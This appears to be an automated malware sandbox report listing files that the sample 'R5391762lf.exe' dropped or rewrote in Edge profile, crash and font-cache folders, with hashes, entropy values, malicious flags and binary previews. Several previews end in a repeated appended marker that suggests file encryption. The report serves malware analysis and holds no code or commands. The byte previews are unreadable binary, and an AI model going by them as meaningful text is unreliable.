Preview:	...@...L.(..L..nAq..f...M ..3..q.....V...-..k.'c...."..b...m+0XA.C..h....@.i2/.H:Y.......r".%yL...y...L.J.x...Rp .a`.4..yH.u....'.(...W.J..].X[...........@....]..\.m....x.olF..N.'.x9."PPg.hQ.[U..q....s.d.B..._.Q......~..8.j.w..E.<(,...V.{!y.D...t..]....0.r.)(..........R..~.v=.w5..4..........`.......Q.X9..RuG. .........\|...E.m..L-.I{j......v@W..t..D..."./.(.l.....O..N`p)..A.O..}..:.D....U9O.".i....Nm.4b.?G...#..,2.Z...#Qu.(....U...........5..%..(!'..5xW.D1..+..].B&.E..}...6...".X..{.....Q.I.X....}p........S.Y.nj.2.......=$fb....y$.3mNb.?9..{.W..".....A.7..C\|..V$;KJ..L..2..1.1........a.x.1...s0=}.......3. .B.x-w../-.d..)c...59.{;8..,.X......e...6Fp.Q.a`....."._...2v55.]....v.._......\|...7.&~rR..#..J..^.z.D..2.F.#M$..a.....P...16.$l9P..n.$..O[I.UE...q\|kH...S.....;..2......cV...G...No......Fb.9..B.."....z/...s-.o<.QKX..t..=FUy...~+....,../...\.'..CN..V.,.9....jM.u...e....~....."T6.....l..p..g..H....N8 .\|.....q.r...J....)..r...

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E6CB3-65C.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184454649529452
Encrypted:	false
SSDEEP:	3072:QCYBskAGk4uDoMhqU/yR+4CWXzDnmBA+yJKnTEk1NdDR7s:QCeskAGkDoMsR+4CWXzjmBAWAk1zFs
MD5:	4FB032A36160A07F5CAEBE212F40D3CF
SHA1:	AE68B01CF9DDE9555A7B0211F8ED9B5AB9D7C795
SHA-256:	3A3E3CC2ADAAC6D0C407B47B919665C90F214CA3286425EC48C9444B24ED6379
SHA-512:	1AEF1835DE8442063479A88C83CD38218BA50E9E577A16B6443261D80DF961612AB6C3C4017DDE70571E9F3F021C4BF989649250F2EBEAA21A999C8957F3B219
Malicious:	false
Preview:	...@.....@.t.s.Y&-M.&_..i.l...:..........n...4.6.>S....fV.B....S\LB...j4.......M.4..p....~.G..`6..C=.9.W..SV.R.....=C3K...t...7y...%^.Zv..O..1.p4...?.X.8qrO9.D..<S>.M..Mz].].L~!r.;~&...e\..R..3.Y...z..IH.=.iY....9..s[m....v...GvIA.......y.y.d..../...^=....s.....u.._i.b.r..47n...1.<.........nw.......},.s{...h.R................0.f..3.q.m9...m.J...S..%@..>....c-.1...v3U..4.e......-?9.......V........[s\|f;/8./.e....z(d.y.u...M...ci.......er....L.Po..A.8...,.........['..$C..W...g;....;.=M3;J......4q,~...O.....W..shm....r.....@{..dJ.{.@....$....g..gUA}UZ.x.~.N.........AH."'s...C.Uz%].ga.2.I<..j.$..7.^J,/.......j%.V...._p.i.....k.u........0.I.........f..Dg........p...S..OI.kZ.0_.s.....T.....r......E!4...b...f...f.R,t..v...75..~.q!,.`...lV..U..7.Kz..t='./.F.fd..2.....Z..o....QH...T9..j.a.Ive..4 .#PO.6......./..\5CPQDp.T..BEs.D...V....A.[.c(.....$.b....1.........X.6.Ph..Km.t.<....p..[..c...o..h...4......W'..7.~..0...H.o..}0.d./..}...n....

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E6D12-18C4.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5186497076241854
Encrypted:	false
SSDEEP:	3072:kmuSI4exyLIBbASYPwKUityBVJPWGJDgRFD7A8TWRg7aOBStIxDa9hk:3BmTYwKofPWGJsRhpQgWF0Da9O
MD5:	0F6F4A9E1E3C35BE3611B00A1E837A5D
SHA1:	3759113E4B19999DEE8138F09C7B98F7D1E6D744
SHA-256:	1FD93850526E2FCD8229ED58A393342C021C289C5E60BB150C7E1D1C0DCE3306
SHA-512:	D4993E7B1973BC01908FAF1850BF5E1F7E727A19CB8AEBD2352CD3B1928C1974C88978D245E0D8D2A87C03C9B45DAD7DA192E83199BD0288717A45C69FB87B1E
Malicious:	false
Preview:	...@...@Q...E..w.K...a.\.X....B$.%..K. .........J."..q~.5..~D1T}...0b...v..bsI...x.......y.L...\|.O.'.......AG..'..z.c..&3w...A.3....A.....Sd.56...R.R..x\|p...'.t.S.\|...LK..O..f....v.......&.....6..D..Gw....$'~.w.(.9.....?2..n[..a.KB.s%T.f...%..+D..\|_mO/~k..@c..+...6.b...a.DJ..7.'7...H...P....r.Yj.e?.A.........Y..]..K...".&........W`...@.H.O..d%`.6.Ki..v...CDR..nc#....RI ....`..d.W..K......C.?...i..Wa........y.lWYB.n./...!.....zv.&.z.W]..ld....R...h..=....aWEm...@.....-B.....f..~t....eX..#6...Jt...........\...W...4Q......?f.......+b~...h.=;.]"c?.o...X."..W"....UV......h.3...(...b.J.9.....:.S..B ...bg.}.. .8H~.\..o...o...".w".A..l..M..-$.....O.dW3..p.z.!.....Yy.P.".."n...K..9...k..a.....E..$.........eK.R...=\|...'^....+[...V..+......7).~..a.j.)1..7..:C]..y..J.tH......>=..F-...Z.._.....o.Eyi..7...g.d./.W......l........+yU.b.W...h..i.n....6..T..(Open....k..10..Cpuj...=g..p....K.#?.\..}.VE...$...m........zn...9..7....5.....N..;q.h

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651E6D12-1B58.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184837899641146
Encrypted:	false
SSDEEP:	3072:nqVadk1PUJe5y0sC/VN5CHimw5FiEECp31DZweIBfkK:qEqPUJeYjCgkfECRyF
MD5:	CBDCDAA217850042C6156B3B632FE0B8
SHA1:	989F452CAD565BEC02B6EE705A57536A0ACD994A
SHA-256:	8EA9D37B0ADCF64A16F360E6C018F433B037AE0FFAFC8770AECABB9367CAC7C1
SHA-512:	27149B40887BF738CB8422DAB3D995AF0C065FC322E26916FF7D4C3763842F84E3B486F87EF24636AC96A4717CF91D251E20FB09174D86420FB537778FCCC2E8
Malicious:	false
Preview:	...@.]\|.?O...5....X.C.q.....AR.M>.... .B.6.....l.J........N........p.JG.N..'.=.z.bvNQ.j.....J[....&."7...e..b.gM...B.?.....?(.O-]nJ/..I;.....I.V.^.........l..rki.h`l.~L6....}4..4.{$........j.R.'k..ea.Gq.\|)e...m..Z...vB\|I.... ....ze.<.!.S...@..E2..t....bNQC.0..Q....::\.\|Y.O\.8..l..y...jZORS.6.......a.2.x...P..I..t...S.'.uf.:......L..t7...6...cB..,)..:....t.G.0......H...!...b.:....QT.a...H.2s{.]n...>. .D`2.z.S.......!Z.j..8r..>.~.@.v@D;.p ...?..6.Y.....kH..,=>..].D....+!x>v..........j...y....\|....nN..(84^d.\J,..@Y5..`m......:2.#...[f.#v.....+.;.7..xf......J>..qc.(.K...E.}.E.\BGH./..kg...B..yS.Ux..].`.9...K..e.+..tx..:\|K.}._Mx...rM..A......y....#...a..F.j......[..G.$..:..i.Ec..VU.....d ?9..aiM..U.L......_........M.*...'.F.H\.U.g..h....~...N.....nH._60J.R..B......F.4.H4.i...n.^...b.<OU.[....X....l.).-...L.%...5....>..%<g.1..9r..#..t.......]..8......Y.g..}h,.c;&..Z.m.A.....H). Zr...,.$.0'......9....C....,.kAQrMV..(Yry.+`2..%..._js..K.dV.}@Cj....j..../.

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	614
Entropy (8bit):	7.613588720693635
Encrypted:	false
SSDEEP:	12:FQKJwfc7wMV9Q7HzeRdWoZRglYLqMo4KEXbwbMTkl7bMC/nSzXqOTuWcii9a:FQQbw/76RU8GlPp4KgbwbMebMCeXq8uQ
MD5:	B16A38D83E95B3D2C3EE33999A1E742A
SHA1:	57EFACBBC26B8F680CC5D15CE5BDBDEE51C2DAFA
SHA-256:	C1606AE99B92FB1B58367FD3421C2FBFF658CDDF4D50D0E3659DDE349CD868B7
SHA-512:	5CCDF7DAEBD6AD8503BE66AB0859B82DD50A0610A3DA21DEE3277224BF76A74C05114AC72AC3632577C91777B470A396C64B78DB3564066341929A4F54205EB4
Malicious:	false
Preview:	sdPC.d....,...z...<_8O..3.2..K.4..G..mY..0...Cu.h.Qtt~..Ow[+/....N..bG.^n.....u..."..4/F..7d....;.h.P.#.v..yY.e2".......C...\|$.........C.a...>.s...D...M..:..p<.@.....3..F...tHn....z...y..n......G!\.T..~X.4...$.F.,RU1._.;s.y.>y/....;=...d# .....6I./Y..D.oC.J`.K?......J...M.K<.....\|....M..n......BKT.u:S..y.?..(....-......P...s.kg.s.....L..f[bDOO.?.I..H@..Po....J..>"+5v.B..o.t.g.=g....9...E......K.!.......=$e..TD.)y.DG....rq....eR.D^..q......Kv@>.ey.`k..I.`..2......V..........F...n....`..RGi....2h\| 7..].doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Crashpad\throttle_store.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.2654880912994795
Encrypted:	false
SSDEEP:	6:8t1NEbgXO/ZBS7K0YeYVv0lSmLAGZlgD2YS9c6skxnorvVMtXqHk7T3eWcii96Z:e6IugYeY10Ip9rOsXwXqOTuWcii9a
MD5:	DECFB4C72E6866856692C1A9DA032254
SHA1:	5A9D5BBFA2C2213A5264832BFF143884E724DFA3
SHA-256:	37354CCA2A737CF3DF2DFA21550BC7CE10D83B8133AD73D112D32FB3C2B3158A
SHA-512:	CEB6CA2AB1022CD75BB7A6009E4DF7AA96A5B5ABE7AE4C4A5F9E90BDA92829C82988ED8F29716E9DAD179C82D65102DDED83EC317C4F4089A7FDCC4660FDDFFF
Malicious:	false
Preview:	levelema.L.u.~..u.Z.e,..H....h.....w'.p".=..2.../.sn....0....F..?.E...7..C&.Q.W.0..%...._.P.V.Zrs.(.c+.5...(u..y.[...d...?J0Bt\|..d3..e...DJ...T..t...n....+<uss.1.I....p.....,C.....w.x.j.L...`6.T.....Mdx..".dl$..<...kz..t...2W..C{.7&...I..(.....#.5.#8..../.....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	72091
Entropy (8bit):	7.997330995312804
Encrypted:	true
SSDEEP:	1536:/EoVHgVuY6NAxOYQrHP99qphvo8rj/Cqw/X0qhbDA:DgcY/OY4PqpoumqwfjhbDA
MD5:	6C16ADD800FE5685B5F361054325C9F6
SHA1:	28D2523AA3EE2E27010044C8D5849CAD877B5281
SHA-256:	07DB77D24D327B3DEFFB870B80B7A56CCD0E03E71CD9A2B8F2C18EB19DA39004
SHA-512:	A7DF709D85FC5C49A4F2FCE53A325F46F425C896DFE7D5E25B5DA9470FF177F676ED1152190DB1F0186E5AAFAEEAD03AC8DA2AA2EC62BBCEE0424803A9784527
Malicious:	true
Preview:	.....~5...%0(....K&/..2p.?....5.ml.E..Q..r..7...+.W.L^..k..x.@..\.. ..g.Q.Y....W...... ....s.u)X.H../)T-E.<.c..q.$.h.U .1.&.....VMD.y.l[D..w8..Z..HEQEJ....k..k.G<3.....:.@...4TTD5.H.r...,2{.E.=N...t.@g[x.4%....t.....'..".{.3`...6..z.Q.....i..Q...gj....B.B"..\.Nn..c.Tn...r./kXT.O:w...C....\|...9.......P.....53.5v.......OJN.2D...-.....D....#\|Bb..C..e=._.,.... ...y.7.mt..]h....G............v.^'?...7..\..c.....H.<..F.!...bc...DC.d..@.)..?C........u3F.n.N..Q.....]!..]..=..,..Qf....[...d.<A......)(-.\t.z..?..F.Bs.Q.v.A.ao~..i=...[......e...n~.....Y+......:....1...Qi.........../"....+.>U......!......^_...L.s/&l.~.d...:.P].]_..6W.&...%T.I...8t........DI.B_ j.a..{E....n.3z...baR-._A.aHB.p.E..A;Mh...`\.v...x...F..wb.:......Bp......)<g9`..mw.......lq...c'...L..C....j.$..aTJ[.....n !...o.T0.E!...(#...A..3G..%...n.Y.....\|"<,C.+$...N..R{ ..(..,..}.=..hF.S.....Z...i..qK...v..u.q.h. .....[_TT..r..k.........o....\.N......]...l9p(....8...Q.....@.&i....

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.776207616657274
Encrypted:	false
SSDEEP:	24:2UcGpOjyEopjO/RH3aoo3uo3bRVGubRfiZ9d1M5R8GUb2Xq8uWbD:2J+OmEoxsH3aT3uAuuNfi91M5R8MXFuQ
MD5:	5D8BF0DF1D028AAC497794AEEED56E32
SHA1:	2CBE62D446593DB5CB12826F3A33BFD9651816A2
SHA-256:	71AAAB03F6C0B4FEEC3A28D4AE5DECD478B7C9DAA2F402C8DEF0CB8507F50819
SHA-512:	200D665F07AE6F93F1A64608FE1CCC205E33E59F6CB2CB5FB971E77D1BEFF17EF948E18F6E2B7ACFCD5DDC0FD47240A7D1905EAB4B41265C995FA62983C04630
Malicious:	false
Preview:	.f.5...'..w.u. <<........R.jK......y2^...J...Q....?>)Y...{".tL....,.t..^.G.}....+.+.me[....s@b.e_.B..u.'....n.`}.,..(.c..v.c..s.o......d..$FZ..j.g.c..g.....A.....E..<6.q2...,......c. .. Z............<t.b...........[.'V..V.v.u.....i....H...+.c.C.>.^"......^..o.{VAU.:..md.O..U....6"...........P2.@f.S..+.w..p..:lG..Q.%.A..k.MT.-..q.L=2...\|...R]..gY.2.U!...p"?7`]OC...N;..?.:.B.j.DS...P_1....5j.!<....r_7.;....:.4.n\\|........T......F.+.e..v.o..sA&..0.=...F2.9...].;._ .n....}.t...~....d...;gF.....w.......^....G.f...J.C.x{.N...}....... .-...#.`bu...\|..8..%..,...#d"..n=......>.+.3$....v.....A...$3....[w.. ........Wge..I(.OI&...R.....J.J3.@.=._t>>f78.......O.=..5..>P...*.;....&.....J..~.Y'.C.an_V.-2.....n...U....S..#rOw..D..z..T.G(l...?n.;j}'...AI.s>?..Ml...H.J....w6...v..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.452145079427655
Encrypted:	false
SSDEEP:	12:StPtSzOrd2Jzl4kHLMMAV6yHnI1qMk4J9SgXqOTuWcii9a:gtvrADL5jqIgMNJ9SgXq8uWbD
MD5:	9819643305E147F7C654099C0D5552B2
SHA1:	CEE807961F0300F13D4A0695EF66823FA186318F
SHA-256:	BE959E71375E27D69C29C9CCD7E44DA0D97E580051632A27E7ED384C1C8E159B
SHA-512:	F542FB0C4E7B7B79C1640AAAC43072587F22D89ECBC82C1098DEE003C0852B721594518EDBF2A7CF937CCE4181AB600F129A72A9C9A0C9CA3487D1C6259ECC7C
Malicious:	false
Preview:	*...#.J.t......]a.k...,..Y..+.,jn..o..'.......L........e:.M4FVO.0t5}..CDC....T1/.I..f..\..}.8D..XVA....D.<D.,.R.~..#....4...D......rY.HE..$;....Y...UQ....C.{..H.<....s.....1..._....{..L.e.2.F...\|C..-..3.J...{E.<LU...L6... .L.A..(.~4.$...5...r...V..M."...=.\|..J.........!{..".8..D.<............eC.P.....kK9..+.m...>.X.).)O(^.m.....v.{..+...+A..9.........~...;.....).M...UgW:S.....4.J........"doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.258292773007693
Encrypted:	false
SSDEEP:	6:uOlxPAUnszxYdKph7V0X6zwyspbpczf57dXWuMezthcC6fawWsVM8mu54TdmtXq+:d4UFdKpzHmpmldXxMezt0awWXlu54TdC
MD5:	7595E40BC50A34FCF4CF9732DD4A5860
SHA1:	116D6258F612B611240E6EAAA2E8D2E50E923246
SHA-256:	D9E19B6A6EABDFD8B937FF621795D9233D62735009AAB5A5E6FEB2473A5A412A
SHA-512:	1F799EFD1633B90172613CF97E93B2227563D012073FF636D1DB0D7775B63C3E05A59815A0BD27C447D5B47C8C48ABE4EBD734862D410F148D898DB9199CAABB
Malicious:	false
Preview:	.On.!...(64d......9*..Ntz..".....d..L.;uQ5#....VT.?.)4...:....N.v.s6.".5.CS+...w...<\.B..{...L1..m!...e....r..Z.R.....9-.&..sU.6.......2.R.~..$./.i.o:....p.x.......231..x.W..8....C...iT{}....x?...2Q...\|.gI_vQ....._..\F.9.......$xj.L..3.....}......P.8..S)E...V...0Z\|A..!.C+.H...?..>.-.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.661498560620988
Encrypted:	false
SSDEEP:	12:kctQDmlpoDJji0UJJ7tIuHG5MgAgK5AUYy2AHVtMxreSdJtlccwXODXqOTuWciik:FtQFNy7xWU32A1wreS36XODXq8uWbD
MD5:	B506DA5DEB5E73A0BC124D5A64DF38EA
SHA1:	5B92120BB37A8AA4149C41B5ED350E325089FB5C
SHA-256:	42874D44C6766802DFFB7BEC1AD0E9F5420823338B8869B70462D08E8B12D075
SHA-512:	7CD3C3BD66F5C15FFE1439E2ABE93A6308EBFDA5383D8B2321A4A8258D18575251E589652D274734F65CA23ADD8477084285B730AD0531F47EE1C0EA49D4F210
Malicious:	false
Preview:	2023/............G.:.....@.....+;J...8^.......OP......{.......Pn...A.'G.B......hI5.g/ve.fa...ku.k.<(....A.W.._.....>\|4..:}Mmc..T....q...O...ZUT+F.....~.'v.$.t.J+e9"............f.5...]u.-....J...a.....vs9.......&....z...g.....^.1.T.j..S.i....1b}.uD.....K..i"29E........5..8>.....1.>EYF...I=.....p...8..R37....-.x....u.ZAx.-^X-....P.z..SD...8.O.!;:OJ..I.R......-..y.....l?...B......Z.n%.c"..........T.:.uc..sa.r.S..<..(.. ..}.+...&.{G..K....G..%..O.)...............:..,..8..mJ.l...uA.z..-..C`...H!9^.....s..D...=+K.....cH....{1.....D-5GdO[......:...+.&..i...y.y8....x$Z..3doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	45390
Entropy (8bit):	7.995795074640136
Encrypted:	true
SSDEEP:	768:RPBvKxPboyLHYWPKbu59Z+8Nhxv7ABKj1BhLeD7VEcHcroHxbsYnxavjCKfbt3QP:RPiDLYWPT5T/ppBhyFEceypsYnxa7CKY
MD5:	3D15F48AA047EA421FF60AF0FF03E1A9
SHA1:	68F042E8AD30B40908C5E2D93A0EBAB349962580
SHA-256:	9AF0F705345D0A32E9427146718AA59389EE02347F72F2B295FCC329C1D36322
SHA-512:	810D36607E005738E982FBBF9433F221DDAD931EB24A49F0130B82A4D9F627F5A05A11C193B6F8A24C36517ABECFAD8C3E974FEDE0CB6E0AED6E3C007D275775
Malicious:	true
Preview:	SQLitIo.xuM..Y...k.^..s....k..z..{mR9&>.VD.....h...:}..?b...p..r.a..~..ON..e..S.......J.14...9_#."..)T=:Cv...z..`-....#..zp.Y............dQC....+OF+.Z+m....$......8.G.H..B.ER..e...G.V..@....P...y. v..9.n.C.3$.F......2..D...'f.....a[....2{...M?SX.].}..+...Dj\|..cn...18cy`.6...PZ..;.. e...8....(.s.W.....f.....~......-#.....X...qk\.%..TfW................\O.9...<Jf..M..PlLp...G.z<...~.....T....DE...<....q.((]Bi.g.~..)\.lS...D....L.z..B...{..<..dO.._..._..x5.W....5.....I..JX....V..H......g.........-,..2.Wx.w..S.....e7.7H.....{....j......S^`.5MOcn.l.j$^+.bK......q[.....<....Z....Q<.....~o..vN.....$.E.97...../'...X.......'1...r...B.+../....{...x.$......9.._......N=J..PL.......(..IBu.<.... .....[..?.......#...j\.}}.k/.....*s....xq.F...3~.J.......Mk=..f#\...._L.M..6..Nh.l[.....F.)-.\U.t...1...~.$........E...j4...j.......g.....`.)..\..{U.o.z..E7.2!.>..\..\|.......p.\|.xe.<...e.v...x.\\|)!...B..Y.d.6..'.s.ic/.........v.E7..x

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998458834267165
Encrypted:	true
SSDEEP:	3072:BBlqUPhGWVTaceGCw7dC3fhRk4hKlD6FikVzqS:rtRKQC5e4wD60kVzqS
MD5:	DF8E6417C0AE1F0AF7B777F70FEE8A3F
SHA1:	4F98E6CB0A7EA05A16193EB075FF06A5E7FAE4F8
SHA-256:	ADF931C15EAD628ACC8C39D1DF480C23DD549EED821A37C690239502AAEFE4CA
SHA-512:	ADE3DE72CE740EB27728809E04D47B10E1CB04B75D806D3B6C0157B1F4193B53B257CDA8C7338B575FCEF8C00F234CDFE3E02C6F372E6DC74A9667EDD6BACD08
Malicious:	true
Preview:	{.. ...s.j%[K.6.9v ....J.m/.=..mj..y.l../...h...\._qF.mIYgM8.......tR..<Y.L`."H...+...<......8.....SJ......;....................O..w..G..W......Xx.....}....#".o.4G.Ix.....i.p...=..S..{@..B4...\.u.A..........q?....zQ..=..5O.s.T.y".P..y....p.{......S....O_.D.@.ip......>q.(u5h.k_-.CN2....J..4.C..<_./.]0G4....X.............7.us.%.p!+u0.8Y...dC.&h......!.I}.T...^.....C..Sa"..g...8#.S.+.~.7......,8x.M>v.5.... =x..7.....w..T....@.X.B...j......)fDs..p.q....a..U..P.z.q...K.t.%t..<..4P.b.%.."...L..8....{.T1.......b...'.q.r....v.....<..3....j..x....ah..D.{.hc..e=.X.T...M.Z.......U...DE.`r i,d.(..{...1{.../.g.ug..9..Z8.M].l...N..\|..M3.kT....$#.c.....!"..;fM\|.P.o..z.d..gq.-...\|R....L.d..}...[..l...1....u.,..vg...~...MA..zj..9..Q.~1....H...p."j$\.....E.T..6.5l..QGp!7U...~..,...g.3.R.gS...>.vq*Os...{.,.bvv.XY..&..p..".q.y5.{n.....#Y...p.M ..}.S....o..i"...{......lc..X.\|...#."3.=.....t..s....~.....,....@I.t._..N......0...(.].D.+.1..>.......

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	503292
Entropy (8bit):	6.443827035708642
Encrypted:	false
SSDEEP:	3072:bToK0ThYDciwZkKoLinQgugzd19KU+314dBnuP0Kc5DOFjZL0SGOmsWRJ+6fvub6:wK/wlsbSzd1qF4dBuP4WjDGOaj+6f2i
MD5:	A13646737FAAE22D995EF7F7F4890053
SHA1:	EF6CA9657633637DAA1E7EEEBD3FE54E08874015
SHA-256:	0679CB999E1F9AE0BD8EAE7BB4E4A0A888C433DC501EE2AA76307087C1C1FB49
SHA-512:	FC4DBF14D32B855859EE78FB3A57DE6D2A5057294FD0C44182A74FDA0E3B8162806C58501C5FA76E94CDDC6429F54147AFD0118DB61E6D204BEBDA8E1B3717BB
Malicious:	false
Preview:	{"Maj$...~...."..C..YO.,..RW<......}9.L...x.A5....`Z!.iwBR>2kS.....c^.G.g...C-<oS...K~.1P(IO........\...m.8?..K..g..CU"...d08...q..T.. ..'{..AM.=k...O..PH.i5a..?.."x..gt.[.H.+....E+ip..Q.=....~......j.7.].#:PK.I7.....J...g.L\.f....+.t...A...Q..!...GY0s.n.:..>....o...r\|Z!r[..3....X.'.fDZeD$c..a. .)........<.-YK....s..6...{...GJr.e....H.....%...ld;...._..6X..r:_..8.f..c.....I3.v.9.#...#.b.vm......M.d.#.N.t-...?(6..s..b......a.u....W.....v..jg.......W..4.0Ik..3<...d.Af....z.{..0A...;O+9U..si!.D.fT..u..#.^...&.>\|N..G1m.q.......Q..(....C.mZ).T:?riU..6.H..(...]e.8...Tq.mQ........vFN7..]^(..{\|..\|..V..x...;.`....n.>...e.R...h..k.0.yJ.FVQ.2x....H.......N.. .{.c.W.]..M>.}.(.M....Yt...tEu.....x=......1d......oq.UL.4Lk..G...J......3...#F...F..5.;v..4..i.A.q.!$.......&..O..&...Y..#..+....p....k...p......7..F6zH..!"..V`caRhSX...1..\..E[v......Y9<......v.R./..u..u.g~.gJ..Ht.N..<...\|.6.e.h..][_.A>._?.V7..V:....;.qWoc.,....(......%...;.o....*Y...5..m~_

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.232168227374431
Encrypted:	false
SSDEEP:	3072:uVItxTrk6z8R81WN49XLgkYZZ5RgVWLenMqukIa2Nppd2z5f9F9CNA1:uVYKejWG7+wxJAaa/dIDiA1
MD5:	50F90BD90A857F2A1CD30C0A158F5F74
SHA1:	064EEEA98EED860305B79493C6C9E652721AA6BF
SHA-256:	C54B63E3B0E9758C2418BF936420F50588F6113CF9783A41620366A45F486680
SHA-512:	80FFB38BCBFD764DE8A0B5A094AEF5BBEB42D53DF53BED6CF990D2389CB063CA641EC7CDA50A4EA44697B9943E4C0430885A7D521D56444D36B1D6BB8897B68C
Malicious:	false
Preview:	.....2.h.L....i0-..d..W/v.t.Y%d.h....z.......-.#.B.......\A...e..5...`..U.....H.A.3.M..r.m..8...<.......s..k...:..9;.'.....n..R....8h....U....f.."6Oy.IrH......+2.....'}.0.h=[.z!.W.{...?8._r..>. ..=.. .<....~.7OV4 ..........,....NC..1G.....U....!.?..1....}.p. .......t.......X.FR..sR..C^`.Y.kD.....u..EQ.....e..u..(..e.z.gj"PY...B..O.....a...z....R..P...d0i......b...Hw]a....m..gV...j3..4.sX.kx......_n..8U.~5.0.......g...?....:...MT<..{'7y\voIG..</lt.O..<S.u..2....=....:._<\@.....a5.BH..c....B...0J,=O."..l2Cw+.B..a...p..X~.~.pNEJ...E.Q..H`w+`g.?t.....e...^....t.....th.cxa.......(B0b.h.d.&...(Z..G...z...,...On9R.e....w..8}xP...+6..X....[#....#5..D....'..!~G.E..4.?0x...x~ek.Y.K.'.U`...q.-...m.....}.<..3.D!.E..I.;:PQ.,].....5..cl.Rg..H>..d..6K.4.7^Z.x.$...GWw...ST.L.moK]...J.`k..~.!@....eo.b\|G....%.j.._..Dr......T.~H"...v..iFO....Y.U6..c\.:........P..X}".%..z...n..{:.s.M...G5.\|.?j....~UId..x.1..{4..go.8O.S...#'..I.<..s...../........w...{.3

C:\Users\jones\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.263911492986022
Encrypted:	false
SSDEEP:	6144:T8En3zZlvmA7VHFBceD+kvbwvZ1yN4rHMYusEpU:4E3zD7bOi+Bv/yNIAe
MD5:	4290F8AAB87D738928636824A13A78B6
SHA1:	A73C7EF706528D6E7B7A2B1B745142668BBA9A32
SHA-256:	164D8A6958D8A8BDB44DB0A03A49194309DD8A97D580CC027CAC7A5E57D641C1
SHA-512:	3668CE43A43DA7D40C2FD8F3F5857861339DD263C211BA5D49F2800449D0BD87CFB3CE0E5FF66893EB510CB1941A374F2042B82F3E6A6E69606ECBE1E9B78472
Malicious:	false
Preview:	........x...Y&\...H...9(.B..n..".o..f<.<. N.T...+.......$z......82...F....FQ.q.3]...B...v.l.Zo...........D.B.....+`.HO.....O...J..S.J5....f.r.....;....[S..fqu'....N1."x.......o?{~.s.........V.V}..V. .h..8..4...t=..J...ik.C..=..^.e....D..T..@.=...A.2@:...h8..Yh...!C.]..3^.}.+....<.%..........6..(.:*.K.S_......:.......E.[`7....R........C. +').h...uW..+..u..........w...A....;r...,.r..W.(k........B..F.:.....3n.<..d..E...G0..I...?}F.q;...^. 